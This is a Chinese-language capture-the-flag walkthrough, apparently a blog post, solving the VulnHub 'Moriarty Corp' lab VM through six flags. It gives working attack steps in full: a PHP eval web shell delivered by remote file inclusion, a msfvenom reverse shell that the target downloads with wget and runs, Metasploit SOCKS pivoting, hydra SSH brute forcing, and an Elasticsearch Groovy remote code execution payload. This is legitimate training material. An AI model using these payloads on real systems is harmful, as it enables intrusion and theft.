vlunhub- BoredHackerBlog Moriarty Corp

Description

Hello Agent.

You’re here on a special mission.

A mission to take down one of the biggest weapons suppliers which is Moriarty Corp.

Enter flag{start} into the webapp to get started!

Notes:

  • Web panel is on port 8000 (not in scope. Don’t attack)
  • Flags are stored in #_flag.txt format. Flags are entered in flag{} format. They’re usually stored in / directory but can be in different locations.
  • To temporarily stop playing, pause the VM. Do not shut it down.
  • The webapp starts docker containers in the background when you add flags. Shutting down and rebooting will mess it up.

(the story is bad. sorry for the lack of creativity)

Difficulty: Med-Hard

Tasks involved:

  • port scanning
  • webapp attacks and bug hunting
  • pivoting (meterpreter is highly recommended)
  • password guessing/bruteforcing

Virtual Machine: - Format: Virtual Machine (Virtualbox OVA) - Operating System: Linux

Networking: - DHCP Service: Enabled - IP Address Automatically assign

This works better with VirtualBox rather than VMware.

从描述上看,这次我们扮演一个Agent(特工),目标是拿下一个武器供应商( Moriarty Corp)的网站。8000端口用于提交flag,不在攻击范围,通过每一次提交的flag,获取提示信息。

扫描探测

sudo arp-scan -I eth0 -l 

在这里插入图片描述

二层扫描发现目标靶机IP 10.0.2.18。

扫描开放端口或服务

sudo nmap -p- -sV 10.0.2.18

在这里插入图片描述

根据描述,访问8000端口

在这里插入图片描述

输入flag{start}开始任务

在这里插入图片描述

文件包含

根据提示,访问站点开放的80端口

在网站的链接中发现文件包含漏洞

在这里插入图片描述

发现文件包含漏洞,可以尝试远程文件包含获取shell

这里可以用这个在Github上找到的工具 LFISuite,使用起来也很容易,通过这个工具getShell

在这里插入图片描述

在根目录中发现1_flag.txt

在这里插入图片描述

在这里插入图片描述

获得第一个flag{the_game_is_on}

也可以通过一句话木马的方式获取flag

开启本地apahce2服务

service apahce2 start 

一句话木马ant.txt

<?php eval($_POST['ant']); ?> 

构造链接

http://10.0.2.18/?file=http://10.0.2.16/ant.txt

AntSword连接木马

在这里插入图片描述

发现flag文件

在这里插入图片描述

内网渗透

提交第一个flag

在这里插入图片描述

拿到了靶机的shell,接下来收集内网信息。根据提示,内网中有一个图片站点,具体IP不知道,可能的地址范围在172.17.0.3-254.

要想访问内网的设备,那么靶机就要作为一个跳板,转发本机的流量。因此可以用msf建立socks5代理,用于流量转发。

msfvenom生成一个shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.2.16 LPORT=3334 -f elf > shell.elf

打开msf设置payload

msfconsole 
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.2.16
msf6 exploit(multi/handler) > set lport 3334
msf6 exploit(multi/handler) > run

在这里插入图片描述

拷贝生成的shell到/var/www/html/路径下

sudo cp shell.elf /var/www/html/shell.elf 

利用AntSword下载shell文件

wget http://10.0.2.16/shell.elf
chmod 777 shell.elf
./shell.elf

在这里插入图片描述

回到msf可以看到获得session

在这里插入图片描述

配置路由

meterpreter > run autoroute -s 172.17.0.0/24
meterpreter > run autoroute -p

在这里插入图片描述

设置代理

meterpreter > background  # 退出session
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy 
msf6 auxiliary(server/socks_proxy) > set srvhost 10.0.2.16
msf6 auxiliary(server/socks_proxy) > set srvport 1080
msf6 auxiliary(server/socks_proxy) > run

在这里插入图片描述

配置proxychains,可让本地扫描器,软件流量也走代理服务器

sudo vi /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 	127.0.0.1 9050
socks5	10.0.2.16 1080

到这里代理就设置完成

扫描172.17.0.3-254

proxychains nmap 172.17.0.3-254 -p80  

在这里插入图片描述

发现172.17.0.4服务器开放80端口

浏览器设置代理

在这里插入图片描述

发现文件上传点

在这里插入图片描述

文件上传

用burpsuite拦截

这里需要注意的是浏览器设置8080http代理后,在burpsuite内还需要设置socks代理,不然无法上传内网服务器

浏览器设置

在这里插入图片描述

burpsuite设置(User options -》Connections-》SOCKS Proxy)

在这里插入图片描述

上传一句话木马,需要密码,可以用Intruder模块爆破

在这里插入图片描述

爆破成功,密码为password,并且文件也上传成功

在这里插入图片描述

木马地址

http://172.17.0.4/photo/21/ant.php

用AntSword连接,需要设置socks代理

在这里插入图片描述

发现2_flag.txt文件

在这里插入图片描述

得到第二个flag{picture_is_worth_1000_words}
在这里插入图片描述

SSH爆破

提交第二个flag

在这里插入图片描述

根据提示内网中有一台开放ssh服务的server,用户密码可能是以下这些

经过hash的密码可以通过在线网站查找

Usernames:
root
toor
admin
mcorp
moriarty

Password hashes (crack before brute forcing):
63a9f0ea7bb98050796b649e85481845 (root)
7b24afc8bc80e548d66c4e7ff72171c5 (toor)
5f4dcc3b5aa765d61d8327deb882cf99 (password)
21232f297a57a5a743894a0e4a801fc3 (admin)
084e0343a0486ff05530df6c705c8bb4 (guest)
697c6cc76fdbde5baccb7b3400391e30 (MORIARTY)
8839cfc8a0f24eb155ae3f7f205f5cbc (MCORP)
35ac704fe1cc7807c914af478f20fd35 (mcorp)
b27a803ed346fbbf6d2e2eb88df1c51b (weapons)
08552d48aa6d6d9c05dd67f1b4ba8747 (moriarty)

扫描内网中开放22端口的Server

proxychains nmap 172.17.0.3-20 -p22 -Pn

在这里插入图片描述

172.17.0.5服务器开放了22端口

hydra爆破ssh

proxychains hydra -L user.txt -P passwd.txt ssh://172.17.0.5

在这里插入图片描述

破解成功,账号密码root/weapons

登陆

proxychains ssh root@172.17.0.5   

在这里插入图片描述

获得第三个flag{what_weapons}

任意账号密码重置

提交第三个flag

在这里插入图片描述

内网中还有一个chat server,端口可能是443,8000,8080,8888。发现网站后可以用username: buyer13
password: arms13账号密码进行登陆

扫描开放相关端口的server

proxychains nmap 172.17.0.3-20 -p443,8000,8080,8888 -Pn

在这里插入图片描述

发现172.17.0.6开放了8000端口

访问该网站,输入账号密码buyer13/arms13

在这里插入图片描述

登陆成功,发现有密码修改的链接,可能存在任意账号密码重置漏洞,尝试可否获得管理员的账号

burpsuite抓包,将buyer13改成admin

在这里插入图片描述

修改成功,登陆admin/123456

在这里插入图片描述

发现第四个flag{on_the_move}

在这里插入图片描述

Elasticsearch远程命令执行

在这里插入图片描述

最后一个flag在一个运行Elasticsearch服务的server上,Elasticsearch默认端口为9200.

nmap扫描

proxychains nmap 172.17.0.3-20 -p9200 -Pn  

在这里插入图片描述

172.17.0.7服务器上使用了Elasticsearch

在这里插入图片描述

该服务器上的Elasticsearch版本为1.4.2,版本较老,存在远程命令执行漏洞

这个漏洞利用前,至少需要一条数据,可以构造数据包,创建一条数据

POST /doc/test/ HTTP/1.1

Host: 172.17.0.7:9200

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 28





{  "name": "tttttttest"}

在这里插入图片描述

发送包含payload的数据包

ls命令,查看当前文件夹的文件

POST /_search?pretty HTTP/1.1

Host: 172.17.0.7:9200

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 156



{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}

在这里插入图片描述

发现6_flag.txt

修改数据包

在这里插入图片描述

收获最后一个flag{game_over}。

在这里插入图片描述

提交最后一个flag,游戏结束。

算上flag{start},正好六个flag。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值